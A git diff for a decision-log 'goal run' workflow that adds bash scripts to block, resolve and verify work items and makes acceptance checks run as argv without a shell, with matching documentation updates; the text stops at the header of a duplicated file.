diff --git a/.claude/skills/dld-goal/SKILL.md b/.claude/skills/dld-goal/SKILL.md index 938e61f..466cf32 100644 --- a/.claude/skills/dld-goal/SKILL.md +++ b/.claude/skills/dld-goal/SKILL.md @@ -113,6 +113,12 @@ bash .claude/skills/dld-goal/scripts/run-state.sh add-item payment-gateway --dec Add `--check` for each acceptance command the item needs beyond the project default, and `--annotation ` where you already know which file must carry the annotation. Both can be filled in later as implementation reveals them. +Checks run without a shell. A check is split into argv on whitespace, and anything containing shell operators, quoting, or substitution is rejected — put those in a repo script and point the check at it: + +```bash +--check "./scripts/check.sh billing" # not "npm test && npm run lint" +``` + Report the created run: item count, bounds, and the first item to be worked. ### Selecting work diff --git a/.claude/skills/dld-goal/scripts/block-item.sh b/.claude/skills/dld-goal/scripts/block-item.sh new file mode 100755 index 0000000..950ec00 --- /dev/null +++ b/.claude/skills/dld-goal/scripts/block-item.sh @@ -0,0 +1,86 @@ +#!/usr/bin/env bash +# Block a work item and raise an operator question in the run. +# +# @decision(DL-004) +# +# Usage: block-item.sh --reason [--question ] [--force] +# +# Escalation is recorded in the run, never in the decision log: an entry in +# blockedQuestions plus an event. A blocker is operational, not a design +# choice, so it must not become a decision record. +# +# Refuses to block an item that has not used its retry yet (attempts < 2), +# because the policy is one retry with the failure as context before stopping +# for a human. --force overrides, for failures that retrying cannot fix. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../../dld-common/scripts/common.sh" + +require_jq + +SLUG="${1:?Usage: block-item.sh --reason [--question ]}" +INDEX="${2:?Usage: block-item.sh --reason [--question ]}" +shift 2 + +REASON="" +QUESTION="" +FORCE=false + +while [[ $# -gt 0 ]]; do + case "$1" in + --reason) REASON="$2"; shift 2 ;; + --question) QUESTION="$2"; shift 2 ;; + --force) FORCE=true; shift ;; + *) echo "Unknown option: $1" >&2; exit 1 ;; + esac +done + +if [[ -z "$REASON" ]]; then + echo "Error: --reason is required." >&2 + exit 1 +fi + +validate_slug "$SLUG" +STATE_FILE="$(get_run_dir "$SLUG")/state.json" + +if [[ ! -f "$STATE_FILE" ]]; then + echo "Error: run '$SLUG' not found." >&2 + exit 1 +fi + +if ! jq -e --argjson i "$INDEX" 'any(.items[]; .index == $i)' "$STATE_FILE" >/dev/null; then + echo "Error: item $INDEX not found in run '$SLUG'." >&2 + exit 1 +fi + +ATTEMPTS="$(jq -r --argjson i "$INDEX" '.items[] | select(.index == $i) | .attempts' "$STATE_FILE")" + +if [[ "$FORCE" != true && "$ATTEMPTS" -lt 2 ]]; then + echo "Error: item $INDEX has $ATTEMPTS attempt(s). Retry once with the failure as context before blocking, or pass --force." >&2 + exit 1 +fi + +[[ -z "$QUESTION" ]] && QUESTION="How should this be resolved? Answer to retry, or skip the item." + +bash "$SCRIPT_DIR/run-state.sh" set-item-status "$SLUG" "$INDEX" blocked +bash "$SCRIPT_DIR/run-state.sh" set-status "$SLUG" blocked + +QUESTION_JSON="$(jq -n \ + --argjson item "$INDEX" \ + --arg reason "$REASON" \ + --arg question "$QUESTION" \ + --arg raisedAt "$(utc_timestamp)" \ + --argjson attempts "$ATTEMPTS" \ + '{item: $item, reason: $reason, question: $question, raisedAt: $raisedAt, + attempts: $attempts, answer: null, answeredAt: null, resolution: null}')" + +EXISTING="$(jq -c '.blockedQuestions' "$STATE_FILE")" +UPDATED="$(jq --argjson q "$QUESTION_JSON" '. + [$q]' <<<"$EXISTING")" +bash "$SCRIPT_DIR/run-state.sh" set "$SLUG" .blockedQuestions "$UPDATED" + +bash "$SCRIPT_DIR/append-event.sh" "$SLUG" item-blocked \ + --data "$(jq -n --argjson item "$INDEX" --arg reason "$REASON" '{item: $item, reason: $reason}')" + +echo "Item $INDEX blocked. Run paused for an operator answer." diff --git a/.claude/skills/dld-goal/scripts/guard-preconditions.sh b/.claude/skills/dld-goal/scripts/guard-preconditions.sh new file mode 100755 index 0000000..f409793 --- /dev/null +++ b/.claude/skills/dld-goal/scripts/guard-preconditions.sh @@ -0,0 +1,146 @@ +#!/usr/bin/env bash +# Check that it is safe to start or resume a goal run. +# +# @decision(DL-004) +# +# Usage: +# guard-preconditions.sh start --decisions [--base ] +# guard-preconditions.sh resume [--base ] +# +# Prints one line per problem and exits 1. Silent with exit 0 when safe. +# +# A run holds decision IDs and pinned hashes, so anything that renames or +# rewrites decisions underneath it — an unresolved ID collision above all — +# invalidates the run wholesale. The resolution is always /dld-reindex first. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../../dld-common/scripts/common.sh" + +require_jq + +MODE="${1:-}" +shift || true + +case "$MODE" in + start|resume) ;; + *) echo "Usage: guard-preconditions.sh [...]" >&2; exit 1 ;; +esac + +SLUG="" +DECISIONS="" +BASE="" + +if [[ "$MODE" == "resume" ]]; then + SLUG="${1:?Usage: guard-preconditions.sh resume [--base ]}" + shift +fi + +while [[ $# -gt 0 ]]; do + case "$1" in + --decisions) DECISIONS="$2"; shift 2 ;; + --base) BASE="$2"; shift 2 ;; + *) echo "Unknown option: $1" >&2; exit 1 ;; + esac +done + +PROBLEMS=0 + +report() { + echo "$1" + PROBLEMS=1 +} + +ROOT="$(get_project_root)" + +# --- config --- + +if [[ ! -f "$ROOT/dld.config.yaml" ]]; then + echo "dld.config.yaml not found — run /dld-init first" + exit 1 +fi + +# --- working tree --- + +if [[ -n "$(git -C "$ROOT" status --porcelain)" ]]; then + report "working tree is dirty — commit or stash before running a goal" +fi + +# --- decision ID collisions with the base branch --- +# Skipped when no usable base exists (no remote, fresh repo): a collision check +# against nothing would be noise, not safety. + +if [[ -z "$BASE" ]]; then + BASE="$(bash "$SCRIPT_DIR/../../dld-reindex/scripts/resolve-base.sh" 2>/dev/null || echo "")" +fi + +if [[ -n "$BASE" ]] && git -C "$ROOT" rev-parse --verify --quiet "$BASE^{commit}" >/dev/null; then + COLLISIONS="$(bash "$SCRIPT_DIR/../../dld-reindex/scripts/find-collisions.sh" --base "$BASE" 2>/dev/null || true)" + if [[ -n "$COLLISIONS" ]]; then + while IFS=$'\t' read -r path id; do + [[ -z "$id" ]] && continue + report "decision ID collision with $BASE: $id ($path) — run /dld-reindex first" + done <<< "$COLLISIONS" + fi +fi + +# --- mode-specific checks --- + +if [[ "$MODE" == "start" ]]; then + ACTIVE="$(bash "$SCRIPT_DIR/run-state.sh" active || true)" + if [[ -n "$ACTIVE" ]]; then + while IFS= read -r slug; do + [[ -z "$slug" ]] && continue + report "run '$slug' is already active — pause or stop it before starting another" + done <<< "$ACTIVE" + fi + + if [[ -z "$DECISIONS" ]]; then + echo "Error: --decisions is required for start." >&2 + exit 1 + fi + + IFS=',' read -ra __ids <<< "$DECISIONS" + for raw_id in "${__ids[@]}"; do + id="$(printf '%s' "$raw_id" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')" + [[ -z "$id" ]] && continue + + if ! file="$(find_decision_file "$id" 2>/dev/null)"; then + report "$id does not exist in the decision log" + continue + fi + + status="$(awk 'BEGIN{c=0} /^---$/{c++; next} c==1 && /^status:/{sub(/^status:[[:space:]]*/, ""); print; exit}' "$file")" + if [[ "$status" != "proposed" ]]; then + report "$id is '$status', not 'proposed' — a run implements proposed decisions" + fi + done +fi + +if [[ "$MODE" == "resume" ]]; then + validate_slug "$SLUG" + STATE_FILE="$(get_run_dir "$SLUG")/state.json" + + if [[ ! -f "$STATE_FILE" ]]; then + echo "run '$SLUG' not found" + exit 1 + fi + + RUN_STATUS="$(jq -r '.status' "$STATE_FILE")" + case "$RUN_STATUS" in + paused|blocked|active) ;; + complete|stopped) report "run '$SLUG' is '$RUN_STATUS' and cannot be resumed — start a new run" ;; + *) report "run '$SLUG' has an unrecognised status '$RUN_STATUS'" ;; + esac + + # Decisions may have moved while the run was idle. + if ! DRIFT="$(bash "$SCRIPT_DIR/verify-hashes.sh" "$SLUG" --all)"; then + while IFS= read -r line; do + [[ -z "$line" ]] && continue + report "$line — replan rather than implementing against changed intent" + done <<< "$DRIFT" + fi +fi + +exit "$PROBLEMS" diff --git a/.claude/skills/dld-goal/scripts/resolve-block.sh b/.claude/skills/dld-goal/scripts/resolve-block.sh new file mode 100755 index 0000000..3c81da0 --- /dev/null +++ b/.claude/skills/dld-goal/scripts/resolve-block.sh @@ -0,0 +1,93 @@ +#!/usr/bin/env bash +# Resolve a blocked item with the operator's answer. +# +# @decision(DL-004) +# +# Usage: resolve-block.sh --answer --action retry|skip +# +# retry — the answer unblocks the work; the item goes back to implementing +# skip — the item is abandoned; the run continues with later items and the +# decisions stay proposed +# +# The answer is recorded against the open question so the run history shows +# why the path changed. Resolving reactivates the run. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../../dld-common/scripts/common.sh" + +require_jq + +SLUG="${1:?Usage: resolve-block.sh --answer --action retry|skip}" +INDEX="${2:?Usage: resolve-block.sh --answer --action retry|skip}" +shift 2 + +ANSWER="" +ACTION="" + +while [[ $# -gt 0 ]]; do + case "$1" in + --answer) ANSWER="$2"; shift 2 ;; + --action) ACTION="$2"; shift 2 ;; + *) echo "Unknown option: $1" >&2; exit 1 ;; + esac +done + +if [[ -z "$ANSWER" ]]; then + echo "Error: --answer is required." >&2 + exit 1 +fi + +case "$ACTION" in + retry|skip) ;; + *) echo "Error: --action must be 'retry' or 'skip', got '$ACTION'." >&2; exit 1 ;; +esac + +validate_slug "$SLUG" +STATE_FILE="$(get_run_dir "$SLUG")/state.json" + +if [[ ! -f "$STATE_FILE" ]]; then + echo "Error: run '$SLUG' not found." >&2 + exit 1 +fi + +CURRENT_STATUS="$(jq -r --argjson i "$INDEX" '.items[] | select(.index == $i) | .status' "$STATE_FILE")" + +if [[ -z "$CURRENT_STATUS" ]]; then + echo "Error: item $INDEX not found in run '$SLUG'." >&2 + exit 1 +fi + +if [[ "$CURRENT_STATUS" != "blocked" && "$CURRENT_STATUS" != "failed" ]]; then + echo "Error: item $INDEX is '$CURRENT_STATUS', not blocked." >&2 + exit 1 +fi + +# Answer the most recent unanswered question for this item. +UPDATED="$(jq \ + --argjson item "$INDEX" \ + --arg answer "$ANSWER" \ + --arg action "$ACTION" \ + --arg answeredAt "$(utc_timestamp)" \ + '(. | map(.item == $item and .answer == null) | index(true)) as $i + | if $i == null then . + else .[$i] |= (.answer = $answer | .answeredAt = $answeredAt | .resolution = $action) + end' \ + <<<"$(jq -c '.blockedQuestions' "$STATE_FILE")")" + +bash "$SCRIPT_DIR/run-state.sh" set "$SLUG" .blockedQuestions "$UPDATED" + +if [[ "$ACTION" == "retry" ]]; then + bash "$SCRIPT_DIR/run-state.sh" set-item-status "$SLUG" "$INDEX" implementing +else + bash "$SCRIPT_DIR/run-state.sh" set-item-status "$SLUG" "$INDEX" skipped +fi + +bash "$SCRIPT_DIR/run-state.sh" set-status "$SLUG" active + +bash "$SCRIPT_DIR/append-event.sh" "$SLUG" item-unblocked \ + --data "$(jq -n --argjson item "$INDEX" --arg action "$ACTION" --arg answer "$ANSWER" \ + '{item: $item, resolution: $action, answer: $answer}')" + +echo "Item $INDEX resolved: $ACTION." diff --git a/.claude/skills/dld-goal/scripts/run-state.sh b/.claude/skills/dld-goal/scripts/run-state.sh index f796463..985cfb8 100755 --- a/.claude/skills/dld-goal/scripts/run-state.sh +++ b/.claude/skills/dld-goal/scripts/run-state.sh @@ -13,6 +13,8 @@ # # run-state.sh add-item --decisions [--check ]... # [--annotation ]... +# Checks are stored as argv and run without a +# shell; shell operators are rejected. # run-state.sh get-item Print one item as JSON # run-state.sh set-item-status # run-state.sh add-evidence @@ -64,6 +66,37 @@ validate_path() { fi } +# Split a check command into argv, rejecting anything that needs a shell. +# Checks are executed directly, never through a shell, so stored contract +# content cannot be interpreted as shell syntax. @decision(DL-003) +parse_check() { + local raw="$1" + local stripped + stripped="$(printf '%s' "$raw" | tr -d 'A-Za-z0-9 _./:=+@,-')" + if [[ -n "$stripped" ]]; then + echo "Error: shell operators and quoting are not allowed in a check: '$raw'" >&2 + echo "Checks run without a shell. Put compound commands in a repo script, e.g." >&2 + echo " --check \"./scripts/check.sh billing\"" >&2 + exit 1 + fi + local parts=() + set -f + IFS=' ' read -ra parts <<< "$raw" + set +f + if [[ ${#parts[@]} -eq 0 ]]; then + echo "Error: empty check." >&2 + exit 1 + fi + # Append one at a time: jq --args treats a literal "--" as end-of-options, + # which would silently drop it from commands like "npm test -- src/x". + local json="[]" + local part + for part in "${parts[@]}"; do + json="$(jq -c --arg p "$part" '. + [$p]' <<<"$json")" + done + printf '%s' "$json" +} + # Fail unless the item index exists in the run. require_item() { local file="$1" @@ -149,7 +182,7 @@ case "$COMMAND" in while [[ $# -gt 0 ]]; do case "$1" in --decisions) DECISIONS="$2"; shift 2 ;; - --check) CHECKS="$(jq --arg c "$2" '. + [$c]' <<<"$CHECKS")"; shift 2 ;; + --check) CHECKS="$(jq --argjson c "$(parse_check "$2")" '. + [$c]' <<<"$CHECKS")"; shift 2 ;; --annotation) ANNOTATIONS="$(jq --arg a "$2" '. + [$a]' <<<"$ANNOTATIONS")"; shift 2 ;; *) echo "Unknown option: $1" >&2; exit 1 ;; esac diff --git a/.claude/skills/dld-goal/scripts/verify-item.sh b/.claude/skills/dld-goal/scripts/verify-item.sh new file mode 100755 index 0000000..44dd9ac --- /dev/null +++ b/.claude/skills/dld-goal/scripts/verify-item.sh @@ -0,0 +1,131 @@ +#!/usr/bin/env bash +# Run the mechanical half of an item's completion transaction. +# +# @decision(DL-003) +# +# Usage: verify-item.sh +# +# Step 2 of the four-part transaction: annotations must exist for every +# decision in the item, and every acceptance check must exit 0. Results are +# recorded as evidence on the item whether they pass or fail — a failed run +# leaves a record of what failed, not just that something did. +# +# Checks are stored as argv and executed directly. No shell is involved, so +# contract content cannot be interpreted as shell syntax — a check that needs +# operators or quoting belongs in a repo script. +# +# Exits 0 when everything passes, 1 when anything fails. +# +# This script does not decide what happens next. Retry, block, and accept are +# the caller's job (DL-004), and the review step is step 3. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../../dld-common/scripts/common.sh" + +require_jq + +SLUG="${1:?Usage: verify-item.sh }" +INDEX="${2:?Usage: verify-item.sh }" + +validate_slug "$SLUG" + +STATE_FILE="$(get_run_dir "$SLUG")/state.json" + +if [[ ! -f "$STATE_FILE" ]]; then + echo "Error: run '$SLUG' not found." >&2 + exit 1 +fi + +if ! jq -e --argjson i "$INDEX" 'any(.items[]; .index == $i)' "$STATE_FILE" >/dev/null; then + echo "Error: item $INDEX not found in run '$SLUG'." >&2 + exit 1 +fi + +ROOT="$(get_project_root)" +FAILED=0 + +record() { + bash "$SCRIPT_DIR/run-state.sh" add-evidence "$SLUG" "$INDEX" "$1" +} + +# --- annotations --- + +DECISION_IDS=() +while IFS= read -r id; do + [[ -n "$id" ]] && DECISION_IDS+=("$id") +done < <(jq -r --argjson i "$INDEX" '.items[] | select(.index == $i) | .decisions[].id' "$STATE_FILE") + +if [[ ${#DECISION_IDS[@]} -eq 0 ]]; then + echo "Error: item $INDEX has no decisions." >&2 + exit 1 +fi + +ANNOTATION_OUTPUT="" +if ANNOTATION_OUTPUT="$(bash "$SCRIPT_DIR/../../dld-implement/scripts/verify-annotations.sh" "${DECISION_IDS[@]}" 2>&1)"; then + ANNOTATION_EXIT=0 +else + ANNOTATION_EXIT=1 + FAILED=1 +fi + +echo "$ANNOTATION_OUTPUT" + +record "$(jq -n \ + --arg output "$ANNOTATION_OUTPUT" \ + --argjson exit "$ANNOTATION_EXIT" \ + --arg at "$(utc_timestamp)" \ + '{kind: "annotations", exit: $exit, output: $output, at: $at}')" >/dev/null + +# --- acceptance checks --- + +while IFS= read -r check_json; do + [[ -z "$check_json" ]] && continue + + # Rebuild argv. read/append rather than mapfile: bash 3.2 on macOS. + cmd=() + while IFS= read -r part; do + cmd+=("$part") + done < <(jq -r '.[]' <<<"$check_json") + + if [[ ${#cmd[@]} -eq 0 ]]; then + continue + fi + + DISPLAY="$(printf '%s ' "${cmd[@]}")" + DISPLAY="${DISPLAY% }" + + echo "running: $DISPLAY" + set +e + CHECK_OUTPUT="$(cd "$ROOT" && "${cmd[@]}" 2>&1)" + CHECK_EXIT=$? + set -e + + if [[ $CHECK_EXIT -ne 0 ]]; then + FAILED=1 + echo "FAILED ($CHECK_EXIT): $DISPLAY" + fi + + # Keep the tail: enough to diagnose, bounded so state.json stays readable. + TAIL_OUTPUT="$(printf '%s' "$CHECK_OUTPUT" | tail -c 2000)" + + record "$(jq -n \ + --argjson command "$check_json" \ + --argjson exit "$CHECK_EXIT" \ + --arg output "$TAIL_OUTPUT" \ + --arg at "$(utc_timestamp)" \ + '{kind: "check", command: $command, exit: $exit, output: $output, at: $at}')" >/dev/null +done < <(jq -c --argjson i "$INDEX" '.items[] | select(.index == $i) | .acceptance.checks[]?' "$STATE_FILE") + +if [[ $FAILED -eq 0 ]]; then + bash "$SCRIPT_DIR/append-event.sh" "$SLUG" item-verified \ + --data "$(jq -n --argjson item "$INDEX" '{item: $item}')" + echo "Item $INDEX passed mechanical verification." +else + bash "$SCRIPT_DIR/append-event.sh" "$SLUG" item-verification-failed \ + --data "$(jq -n --argjson item "$INDEX" '{item: $item}')" + echo "Item $INDEX failed mechanical verification." +fi + +exit "$FAILED" diff --git a/decisions/records/DL-003.md b/decisions/records/DL-003.md index 55b3616..790a08c 100644 --- a/decisions/records/DL-003.md +++ b/decisions/records/DL-003.md @@ -28,6 +28,8 @@ A claim alone never closes an item. If step 2 or 3 fails, the item does not comp Acceptance commands default to the project test suite plus annotation verification. Per-item commands can be declared during contract authoring where the default is too broad or too weak. +Acceptance commands are stored as argv arrays and executed directly, never through a shell. Commands needing operators, quoting, or substitution must live in a repo script that the contract invokes. + ## Rationale This composes machinery DLD already trusts rather than introducing a new verifier. It costs no new dependency and no new failure surface, and it inherits improvements to the review step automatically. @@ -43,3 +45,5 @@ Completion is only as strong as the declared acceptance commands. A project with The review subagent runs per item, so a run with many items costs many reviews. This is deliberate — it is the same cost `/dld-implement` already pays, just repeated. Runs cannot complete in projects that disable `implement_review` unless the skill treats that setting as an explicit opt-out of step 3. It does, and records the weaker gate in the run events. + +Checks cannot express compound commands. A project wanting `test && lint` writes a script and points the contract at it. This costs a file, and buys a check pipeline that lives in version control where it can be reviewed and diffed, rather than in per-run state that executes later in a context nobody re-reads. diff --git a/docs/framework/run-contract.md b/docs/framework/run-contract.md index 29d919b..bc83d3e 100644 --- a/docs/framework/run-contract.md +++ b/docs/framework/run-contract.md @@ -65,20 +65,32 @@ An item is the unit of execution and verification: one decision by default, or s "status": "pending", "acceptance": { "annotations": ["src/billing/vat.ts"], - "checks": ["npm test -- src/billing"] + "checks": [["npm", "test", "--", "src/billing"]] }, "attempts": 0, "evidence": [] } ``` +### Checks run without a shell + +Each check is an argv array, executed directly. No shell parses stored contract content, so a check cannot smuggle in operators, substitution, or redirection. `add-item --check` accepts a plain command string, splits it on whitespace, and rejects anything containing shell metacharacters or quotes. + +This matters because checks execute later than they are written — during an unattended loop, in a resumed session, possibly on another machine when `goal_run_artifacts: commit` is set. Deferred execution of stored text is exactly where shell interpretation turns into a laundering path. + +Compound commands are not expressible in a contract by design. Put them in a repo script, which is versioned and reviewable: + +```bash +--check "./scripts/check.sh billing" # instead of "npm test && npm run lint" +``` + | Field | Type | Meaning | |---|---|---| | `index` | integer | 1-based position, stable for the life of the run. Events and blocked questions reference items by index. | | `decisions` | array | The decisions this item implements, each pinned by intent hash. | | `status` | enum | `pending`, `implementing`, `verifying`, `accepted`, `blocked`, `skipped`, `failed`. | | `acceptance.annotations` | array | Paths expected to carry `@decision` annotations when the item completes. May be empty at planning time. | -| `acceptance.checks` | array | Shell commands that must exit 0. Empty means the project default applies. | +| `acceptance.checks` | array | Commands that must exit 0, each stored as an argv array. Empty means the project default applies. | | `attempts` | integer | Implementation attempts so far. One retry is allowed before an item blocks (DL-004). | | `evidence` | array | Verification results collected during completion, appended never rewritten. | @@ -140,6 +152,27 @@ The log is the recovery record. When `state.json` is damaged or missing, the run - **One writer.** A run has one active writer at a time. Concurrent runs in the same worktree are rejected by the precondition check. - **No hand editing.** Use `run-state.sh` (bash) or the extension's state module. Direct edits break the `updatedAt` contract and can corrupt an in-flight run. +## Blocked questions + +When an item exhausts its retry, the run raises an operator question rather than writing anything to the decision log. A blocker is operational, not a design choice (DL-004). + +```json +{ + "item": 2, + "reason": "acceptance check fails: 3 tests red after the retry", + "question": "Relax the check or fix the fixture?", + "raisedAt": "2026-08-20T20:41:02Z", + "attempts": 2, + "answer": null, + "answeredAt": null, + "resolution": null +} +``` + +`resolution` is `retry` or `skip` once answered. Questions are never removed — answered ones stay as the record of why the run changed course. + +Blocking requires the item to have used its retry (`attempts >= 2`); `block-item.sh --force` overrides for failures retrying cannot fix. + ## Scripts | Script | Purpose | @@ -150,3 +183,7 @@ The log is the recovery record. When `state.json` is damaged or missing, the run | `decision-hash.sh` | Compute a decision's intent hash | | `next-item.sh` | Select the next item to work, refusing to step past a blocker | | `verify-hashes.sh` | Detect decisions that changed since the run was planned | +| `guard-preconditions.sh` | Check that starting or resuming is safe | +| `verify-item.sh` | Run the mechanical half of the completion transaction and record evidence | +| `block-item.sh` | Block an item and raise an operator question | +| `resolve-block.sh` | Record the operator's answer and retry or skip | diff --git a/skills/dld-goal/SKILL.md b/skills/dld-goal/SKILL.md index d30f640..c0bf5a4 100644 --- a/skills/dld-goal/SKILL.md +++ b/skills/dld-goal/SKILL.md @@ -113,6 +113,12 @@ bash scripts/run-state.sh add-item payment-gateway --decisions "DL-013" Add `--check` for each acceptance command the item needs beyond the project default, and `--annotation ` where you already know which file must carry the annotation. Both can be filled in later as implementation reveals them. +Checks run without a shell. A check is split into argv on whitespace, and anything containing shell operators, quoting, or substitution is rejected — put those in a repo script and point the check at it: + +```bash +--check "./scripts/check.sh billing" # not "npm test && npm run lint" +``` + Report the created run: item count, bounds, and the first item to be worked. ### Selecting work diff --git a/skills/dld-goal/scripts/block-item.sh b/skills/dld-goal/scripts/block-item.sh new file mode 100755 index 0000000..950ec00 --- /dev/null +++ b/skills/dld-goal/scripts/block-item.sh @@ -0,0 +1,86 @@ +#!/usr/bin/env bash +# Block a work item and raise an operator question in the run. +# +# @decision(DL-004) +# +# Usage: block-item.sh --reason [--question ] [--force] +# +# Escalation is recorded in the run, never in the decision log: an entry in +# blockedQuestions plus an event. A blocker is operational, not a design +# choice, so it must not become a decision record. +# +# Refuses to block an item that has not used its retry yet (attempts < 2), +# because the policy is one retry with the failure as context before stopping +# for a human. --force overrides, for failures that retrying cannot fix. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../../dld-common/scripts/common.sh" + +require_jq + +SLUG="${1:?Usage: block-item.sh --reason [--question ]}" +INDEX="${2:?Usage: block-item.sh --reason [--question ]}" +shift 2 + +REASON="" +QUESTION="" +FORCE=false + +while [[ $# -gt 0 ]]; do + case "$1" in + --reason) REASON="$2"; shift 2 ;; + --question) QUESTION="$2"; shift 2 ;; + --force) FORCE=true; shift ;; + *) echo "Unknown option: $1" >&2; exit 1 ;; + esac +done + +if [[ -z "$REASON" ]]; then + echo "Error: --reason is required." >&2 + exit 1 +fi + +validate_slug "$SLUG" +STATE_FILE="$(get_run_dir "$SLUG")/state.json" + +if [[ ! -f "$STATE_FILE" ]]; then + echo "Error: run '$SLUG' not found." >&2 + exit 1 +fi + +if ! jq -e --argjson i "$INDEX" 'any(.items[]; .index == $i)' "$STATE_FILE" >/dev/null; then + echo "Error: item $INDEX not found in run '$SLUG'." >&2 + exit 1 +fi + +ATTEMPTS="$(jq -r --argjson i "$INDEX" '.items[] | select(.index == $i) | .attempts' "$STATE_FILE")" + +if [[ "$FORCE" != true && "$ATTEMPTS" -lt 2 ]]; then + echo "Error: item $INDEX has $ATTEMPTS attempt(s). Retry once with the failure as context before blocking, or pass --force." >&2 + exit 1 +fi + +[[ -z "$QUESTION" ]] && QUESTION="How should this be resolved? Answer to retry, or skip the item." + +bash "$SCRIPT_DIR/run-state.sh" set-item-status "$SLUG" "$INDEX" blocked +bash "$SCRIPT_DIR/run-state.sh" set-status "$SLUG" blocked + +QUESTION_JSON="$(jq -n \ + --argjson item "$INDEX" \ + --arg reason "$REASON" \ + --arg question "$QUESTION" \ + --arg raisedAt "$(utc_timestamp)" \ + --argjson attempts "$ATTEMPTS" \ + '{item: $item, reason: $reason, question: $question, raisedAt: $raisedAt, + attempts: $attempts, answer: null, answeredAt: null, resolution: null}')" + +EXISTING="$(jq -c '.blockedQuestions' "$STATE_FILE")" +UPDATED="$(jq --argjson q "$QUESTION_JSON" '. + [$q]' <<<"$EXISTING")" +bash "$SCRIPT_DIR/run-state.sh" set "$SLUG" .blockedQuestions "$UPDATED" + +bash "$SCRIPT_DIR/append-event.sh" "$SLUG" item-blocked \ + --data "$(jq -n --argjson item "$INDEX" --arg reason "$REASON" '{item: $item, reason: $reason}')" + +echo "Item $INDEX blocked. Run paused for an operator answer." diff --git a/skills/dld-goal/scripts/guard-preconditions.sh b/skills/dld-goal/scripts/guard-preconditions.sh new file mode 100755 index 0000000..f409793 --- /dev/null +++ b/skills/dld-goal/scripts/guard-preconditions.sh @@ -0,0 +1,146 @@ +#!/usr/bin/env bash +# Check that it is safe to start or resume a goal run. +# +# @decision(DL-004) +# +# Usage: +# guard-preconditions.sh start --decisions [--base ] +# guard-preconditions.sh resume [--base ] +# +# Prints one line per problem and exits 1. Silent with exit 0 when safe. +# +# A run holds decision IDs and pinned hashes, so anything that renames or +# rewrites decisions underneath it — an unresolved ID collision above all — +# invalidates the run wholesale. The resolution is always /dld-reindex first. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../../dld-common/scripts/common.sh" + +require_jq + +MODE="${1:-}" +shift || true + +case "$MODE" in + start|resume) ;; + *) echo "Usage: guard-preconditions.sh [...]" >&2; exit 1 ;; +esac + +SLUG="" +DECISIONS="" +BASE="" + +if [[ "$MODE" == "resume" ]]; then + SLUG="${1:?Usage: guard-preconditions.sh resume [--base ]}" + shift +fi + +while [[ $# -gt 0 ]]; do + case "$1" in + --decisions) DECISIONS="$2"; shift 2 ;; + --base) BASE="$2"; shift 2 ;; + *) echo "Unknown option: $1" >&2; exit 1 ;; + esac +done + +PROBLEMS=0 + +report() { + echo "$1" + PROBLEMS=1 +} + +ROOT="$(get_project_root)" + +# --- config --- + +if [[ ! -f "$ROOT/dld.config.yaml" ]]; then + echo "dld.config.yaml not found — run /dld-init first" + exit 1 +fi + +# --- working tree --- + +if [[ -n "$(git -C "$ROOT" status --porcelain)" ]]; then + report "working tree is dirty — commit or stash before running a goal" +fi + +# --- decision ID collisions with the base branch --- +# Skipped when no usable base exists (no remote, fresh repo): a collision check +# against nothing would be noise, not safety. + +if [[ -z "$BASE" ]]; then + BASE="$(bash "$SCRIPT_DIR/../../dld-reindex/scripts/resolve-base.sh" 2>/dev/null || echo "")" +fi + +if [[ -n "$BASE" ]] && git -C "$ROOT" rev-parse --verify --quiet "$BASE^{commit}" >/dev/null; then + COLLISIONS="$(bash "$SCRIPT_DIR/../../dld-reindex/scripts/find-collisions.sh" --base "$BASE" 2>/dev/null || true)" + if [[ -n "$COLLISIONS" ]]; then + while IFS=$'\t' read -r path id; do + [[ -z "$id" ]] && continue + report "decision ID collision with $BASE: $id ($path) — run /dld-reindex first" + done <<< "$COLLISIONS" + fi +fi + +# --- mode-specific checks --- + +if [[ "$MODE" == "start" ]]; then + ACTIVE="$(bash "$SCRIPT_DIR/run-state.sh" active || true)" + if [[ -n "$ACTIVE" ]]; then + while IFS= read -r slug; do + [[ -z "$slug" ]] && continue + report "run '$slug' is already active — pause or stop it before starting another" + done <<< "$ACTIVE" + fi + + if [[ -z "$DECISIONS" ]]; then + echo "Error: --decisions is required for start." >&2 + exit 1 + fi + + IFS=',' read -ra __ids <<< "$DECISIONS" + for raw_id in "${__ids[@]}"; do + id="$(printf '%s' "$raw_id" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')" + [[ -z "$id" ]] && continue + + if ! file="$(find_decision_file "$id" 2>/dev/null)"; then + report "$id does not exist in the decision log" + continue + fi + + status="$(awk 'BEGIN{c=0} /^---$/{c++; next} c==1 && /^status:/{sub(/^status:[[:space:]]*/, ""); print; exit}' "$file")" + if [[ "$status" != "proposed" ]]; then + report "$id is '$status', not 'proposed' — a run implements proposed decisions" + fi + done +fi + +if [[ "$MODE" == "resume" ]]; then + validate_slug "$SLUG" + STATE_FILE="$(get_run_dir "$SLUG")/state.json" + + if [[ ! -f "$STATE_FILE" ]]; then + echo "run '$SLUG' not found" + exit 1 + fi + + RUN_STATUS="$(jq -r '.status' "$STATE_FILE")" + case "$RUN_STATUS" in + paused|blocked|active) ;; + complete|stopped) report "run '$SLUG' is '$RUN_STATUS' and cannot be resumed — start a new run" ;; + *) report "run '$SLUG' has an unrecognised status '$RUN_STATUS'" ;; + esac + + # Decisions may have moved while the run was idle. + if ! DRIFT="$(bash "$SCRIPT_DIR/verify-hashes.sh" "$SLUG" --all)"; then + while IFS= read -r line; do + [[ -z "$line" ]] && continue + report "$line — replan rather than implementing against changed intent" + done <<< "$DRIFT" + fi +fi + +exit "$PROBLEMS" diff --git a/skills/dld-goal/scripts/resolve-block.sh b/skills/dld-goal/scripts/resolve-block.sh new file mode 100755 index 0000000..3c81da0 